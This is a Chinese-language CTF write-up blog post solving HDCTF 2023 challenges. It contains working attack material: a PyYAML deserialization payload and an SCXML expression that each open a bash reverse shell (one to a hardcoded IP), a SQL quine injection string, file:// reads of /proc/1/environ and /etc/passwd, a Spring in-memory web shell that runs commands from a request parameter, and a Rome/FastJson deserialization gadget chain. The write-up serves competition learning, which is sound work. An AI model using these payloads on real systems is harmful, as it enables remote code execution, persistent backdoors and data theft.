目录

  1. 1. 前言
  2. 2. WEB
    1. 2.1. Welcome To HDCTF 2023
    2. 2.2. SearchMaster
    3. 2.3. YamiYami(复现)
      1. 2.3.1. 非预期解
      2. 2.3.2. 预期解
    4. 2.4. LoginMaster(复现)
    5. 2.5. BabyJXvX(待复现)
    6. 2.6. JavaMonster(待复现)
  3. 3. Crypto
    1. 3.1. Normal_Rsa
  4. 4. MISC
    1. 4.1. hardMisc

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

HDCTF 2023 Writeup(含复现)

2023/4/22 CTF线上赛
  |     |   总文章阅读量:

前言

image-20230422214141007

打不动,python,java框架是完全没头绪。。。

官方web wp

WEB

Welcome To HDCTF 2023

jsfuck

打开直奔js发现jsfuck串

image-20230422095703091

复制到控制台执行获取flag

image-20230422095732327

SearchMaster

smarty模板注入

image-20230422102722948

观察网页猜测是模板注入,需要post请求传data

image-20230422102858119

随便弄个报错出来发现是smarty模板

image-20230422102931821

结合题目名称于是在出题人的博客中查到相关知识点

image-20230422103109708

使用此payload查看根目录可以发现flag,于是tac即可

image-20230422103142571

image-20230422103248785

YamiYami(复现)

Python+Yaml反序列化+伪协议

进去之后发现有三个链接

image-20230423200624241

一个个点过去

此处可以发现存在一个url传参,猜测是任意文件读取

image-20230423200841792

第二个是文件上传

image-20230423200944645

第三个是当前目录

image-20230423201022792

非预期解

来到read路由的页面

使用file://协议进行文件读取

image-20230423201159224

先读取etc/passwd,发现能够正常读取

然后尝试读取proc/1/environ获取环境变量

image-20230423201436352

成功获得flag

  • 局限:这种方法只适用于环境变量没被清除且flag不在根目录的情况下

预期解

首先在read路由下用file://协议尝试读取/app/app.py

回显re.findall('app.*', url, re.IGNORECASE)

看来是被过滤了

这里要用url二次编码绕过

原理:这里采用的是urlopen的方式进行任意文件读取,一次编码会被还原,服务端收到的还是app就会过滤,而二次编码后,到服务端是一次编码的过程,不存在app,也就不会被识别,这里urlopen接受的是一个url地址,url地址会再进行一次编码,所以也可以正常访问

附上个人的url全编码脚本

<?php
$a='%61%70%70%2f%61%70%70%2e%70%79';
$b=str_split($a);
for($i=0;$i<count($b);$i++){
    echo ("%".bin2hex($b[$i]));
}
?>

两次编码后成功读取到/app/app.py

image-20230620202218146

#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"

@app.route('/')
def index():
    session['passport'] = 'YamiYami'
    return '''
    Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
    <br>
    Here is the challenge <a href="/upload">Upload file</a>
    <br>
    Enjoy it <a href="/pwd">pwd</a>
    '''
@app.route('/pwd')
def pwd():
    return str(pwdpath)
@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('app.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m:
            return "re.findall('app.*', url, re.IGNORECASE)"
        if n:
            return "re.findall('flag', url, re.IGNORECASE)"
        res = urlopen(url)
        return res.read()
    except Exception as ex:
        print(str(ex))
    return 'no response'

def allowed_file(filename):
   for blackstr in BLACK_LIST:
       if blackstr in filename:
           return False
   return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        if 'file' not in request.files:
            flash('No file part')
            return redirect(request.url)
        file = request.files['file']
        if file.filename == '':
            return "Empty file"
        if file and allowed_file(file.filename):
            filename = secure_filename(file.filename)
            if not os.path.exists('./uploads/'):
                os.makedirs('./uploads/')
            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
            return "upload successfully!"
    return render_template("index.html")
@app.route('/boogipop')
def load():
    if session.get("passport")=="Welcome To HDCTF2023":
        LoadedFile=request.args.get("file")
        if not os.path.exists(LoadedFile):
            return "file not exists"
        with open(LoadedFile) as f:
            yaml.full_load(f)
            f.close()
        return "van you see"
    else:
        return "No Auth bro"
if __name__=='__main__':
    pwdpath = os.popen("pwd").read()
    app.run(
        debug=False,
        host="0.0.0.0"
    )
    print(app.config['SECRET_KEY'])

注意:Python3的urllib.request.urlopen只可以打开url协议的内容,而不能读取app.py这样的文件内容,所以想要读取文件就使用file协议进行获取

需要做的事情就2件,伪造Cookie,Yaml反序列化,那么Cookie怎么拿呢?key的种子是由uuid.getnode()生成的,网上检索一波

在 python 中使用 uuid 模块生成 UUID(通用唯一识别码)。可以使用 uuid.getnode() 方法来获取计算机的硬件地址,这个地址将作为 UUID 的一部分。

/sys/class/net/eth0/address,这个就是网卡的位置,读取他进行伪造即可

之后就是Yaml反序列化:

!!python/object/new:str
    args: []
    state: !!python/tuple
      - "__import__('os').system('bash -c \"bash -i >& /dev/tcp/your-ip/7777 <&1\"')"
      - !!python/object/new:staticmethod
        args: []
        state:
          update: !!python/name:eval
          items: !!python/name:list

上传之后在进入/boogipop路由触发即可获取shell


LoginMaster(复现)

quine注入

进入题目,是一个登录页面,没有注册功能

随便输入个用户名,告诉我们only admin can login

dirsearch扫的时候发现存在robots.txt,得到检查的代码

function checkSql($s) 
{
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}
if ($row['password'] === $password) {
        die($FLAG);
    } else {
    alertMes("wrong password",'index.php');

ban了大多数sql注入需要用到的函数,告诉我们只要查询返回的$row['password']等于$password即可,明显是要我们用quine注入

直接掏现成的payload打

1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

image-20231102001957364


BabyJXvX(待复现)

Apache SCXML2 RCE

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <final id="run">
        <onexit>
            <assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE2LjExOS4yNTMvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}')"/>
        </onexit>
    </final>
</scxml>

JavaMonster(待复现)

FastJson+Rome 二次反序列化打入SpringBoot高版本内存马

package com.ctf.easyjava.controllers;

import com.ctf.easyjava.accounts.User;
import com.ctf.easyjava.utils.JwtUtil;
import com.ctf.easyjava.utils.MyownObjectInputStream;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.*;

import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.util.Base64;

@Controller
public class MainController {
    @RequestMapping("/")
    public String index(){
        return "bouncy";
    }
    @PostMapping("/Flag")
    public void Flag(User user, HttpServletRequest request, HttpServletResponse response, @RequestParam(required = true) String data) throws IOException, ClassNotFoundException {
        if(user==null){
            user=new User();
            String username=user.getUname();
            response.getWriter().println("Hello"+username);
        }
        Cookie[] cookies = request.getCookies();
        String token = cookies[1].getValue();
        JwtUtil jwtUtil = new JwtUtil();
        String gettoken=jwtUtil.Jwttoken(token);
        if(!gettoken.equals("Boogipop")){
            response.getWriter().println("Need Authorization!");
        }
        else{
            byte[] decode = Base64.getDecoder().decode(data);
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            byteArrayOutputStream.write(decode);
            MyownObjectInputStream objectInputStream = new MyownObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
            String s = objectInputStream.readUTF();
            if(!s.equals("Try to solve EasyJava")&&s.hashCode()=="Try to solve EasyJava".hashCode()) {
                objectInputStream.readObject();
            }
            else {
                response.getWriter().println("Where is your passport");
                }
            }
        }
    }

主要路由如上,可以清晰的看到readObject反序列化入口,想要进入反序列化首先需要过几层判断,其实也很简单,一个hashcode绕过一个JWT伪造
JWT算法已经在源码给出,照着造一个就好了

package com.ctf.easyjava.utils;

import com.auth0.jwt.JWT;
import com.auth0.jwt.JWTVerifier;
import com.auth0.jwt.algorithms.Algorithm;
import com.auth0.jwt.interfaces.Claim;
import com.auth0.jwt.interfaces.DecodedJWT;
import com.ctf.easyjava.accounts.User;
import org.apache.commons.lang3.time.DateUtils;

import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
import java.util.Date;
import java.util.Map;

public class JwtUtil {
    public JwtUtil() {
    }

    public String JwtCreate(User user) {
        String token = JWT.create().withIssuedAt(new Date()).withExpiresAt(DateUtils.addHours(new Date(), 2)).withClaim("username", user.getUname()).sign(Algorithm.HMAC256("askjdklajsklfas45645asdafa654564"));
        return token;
    }

    public String Jwttoken(String token) {
        JWTVerifier jwtVerifier = JWT.require(Algorithm.HMAC256("askjdklajsklfas45645asdafa654564")).build();
        DecodedJWT jwt = jwtVerifier.verify(token);
        Map<String, Claim> claims = jwt.getClaims();
        Claim claim = (Claim)claims.get("username");
        return claim.asString();
    }

    public static void main(String[] args) throws UnsupportedEncodingException {
        JwtUtil jwtUtil = new JwtUtil();
        User user = new User("admin", "123");
        String token = jwtUtil.JwtCreate(user);
        System.out.println(token);
        System.out.println(jwtUtil.Jwttoken(token));
    }
}

黑名单

package com.ctf.easyjava.utils;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.util.*;

public class MyownObjectInputStream extends ObjectInputStream{
    private ArrayList Blacklist=new ArrayList();
    public MyownObjectInputStream(InputStream in) throws IOException {
        super(in);
        this.Blacklist.add(Hashtable.class.getName());
        this.Blacklist.add(HashSet.class.getName());
        this.Blacklist.add(JdbcRowSetImpl.class.getName());
        this.Blacklist.add(TreeMap.class.getName());
        this.Blacklist.add(HotSwappableTargetSource.class.getName());
        this.Blacklist.add(XString.class.getName());
        this.Blacklist.add(BadAttributeValueExpException.class.getName());
        this.Blacklist.add(TemplatesImpl.class.getName());
        this.Blacklist.add(ToStringBean.class.getName());
    }
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        if (this.Blacklist.contains(desc.getName())) {
            throw new InvalidClassException("dont do this");
        } else {
            return super.resolveClass(desc);
        }

    }
}

首先输入流加了很多黑名单处理,然后审视依赖包,发现了ROME和FastJson依赖,并且都是比较低的版本,因此入口点肯定在这里

Rome和FastJson都是触发任意getter的,而且对于Rome,它自己单独就可以打出完整的一条链,但是我这里把一些类ban了,比如ToStringBean和Hotswapper、Xstring、BadAttribute,等等,那么Rome链从toString那里就断掉了,所以我们得凑上,这时候就知道还有个fastjson了,fastjson的toString也是可以触发任意getter的,这样链子就凑上去了,Then?

别忘了我把TemplatesImpl和JdbcRowImpl也ban了,那这下怎么ban呢?思路卡在了getter方法上,没了这两个理论上是几乎没啥办法继续走下去了,因此这里就涉及到了第二个知识点二次反序列化

记得SignObject这个类不,他的getObject方法里面有一个原生的readObject可以打二次反序列化,然后还有一个点就是,题目给的提示是不出网,那我们就只能打内存马了。但是,实际上你是打不了SignObject的,因为它会报错,SignOBject的getObject方法是Protected属性,因此fastjson去调用的时候会报错,结果中断,但是没关系,我准备了一个替代品HDCTF

那最终思路就是Rome->FastJson->HDCTF->MemShell,并且通过Jar包可以发现是个高版本的SpringBoot,那么内存马就得改改了,如下:

package com.ctf.easyjava.test;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class InjectToController extends AbstractTranslet {

    // 第一个构造函数
    public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
        configField.setAccessible(true);
        RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
        Method method2 = InjectToController.class.getMethod("test");
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        RequestMappingInfo info = RequestMappingInfo.paths("/shell")
                .options(config)
                .build();
        InjectToController springControllerMemShell = new InjectToController("aaa");
        mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    // 第二个构造函数
    public InjectToController(String aaa) {}

    // controller指定的处理方法
    public void test() throws  IOException{
        // 获取request和response对象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

        //exec
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                }else{
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                //当请求没有携带指定的参数(code)时,返回 404 错误
                response.sendError(404);
            }
        }catch (Exception e){}
    }

}

反序列化的利用链如下:

void exp() throws Exception {

        byte[] code= Files.readAllBytes(Paths.get("E:\\CTFLearning\\HDCTF2023\\EasyJava\\EasyJava\\target\\classes\\com\\ctf\\easyjava\\test\\exp.class"));
        byte[][] codes={code};
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", codes);
        setFieldValue(templatesImpl, "_name", "a");
        setFieldValue(templatesImpl, "_tfactory", null);

        ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
        ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
        HashMap hashMap = new HashMap();
        hashMap.put(objectBean, "x");

        setFieldValue(objectBean, "_cloneableBean", null);
        setFieldValue(objectBean, "_toStringBean", null);
        HDCTF hdctf = new HDCTF(hashMap);
        JSONObject jo = new JSONObject();
        jo.put("1",hdctf);
        ObjectBean objectBean2 = new ObjectBean(JSONObject.class, jo);
        HashMap hashMap2 = new HashMap();
        hashMap2.put(objectBean2, "x");

        setFieldValue(objectBean2, "_cloneableBean", null);
        setFieldValue(objectBean2, "_toStringBean", null);

        ByteArrayOutputStream bs = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bs);
        out.writeUTF("Try to solve Easxiava");
        out.writeObject(hashMap2);
        Base64Encode(bs);
    }

运行获得Base64编码,然后打入


Crypto

Normal_Rsa

下载题目python附件直接发现flag(???

HDCTF{0b3663ed-67e4-44e2-aee7-7c2d8665b63c}

MISC

hardMisc

下载题目附件得到一张png图片,拖入010查看

在文件尾发现一串base64

image-20230422104538833

解密得到flag

HDCTF{wE1c0w3_10_HDctf_M15c}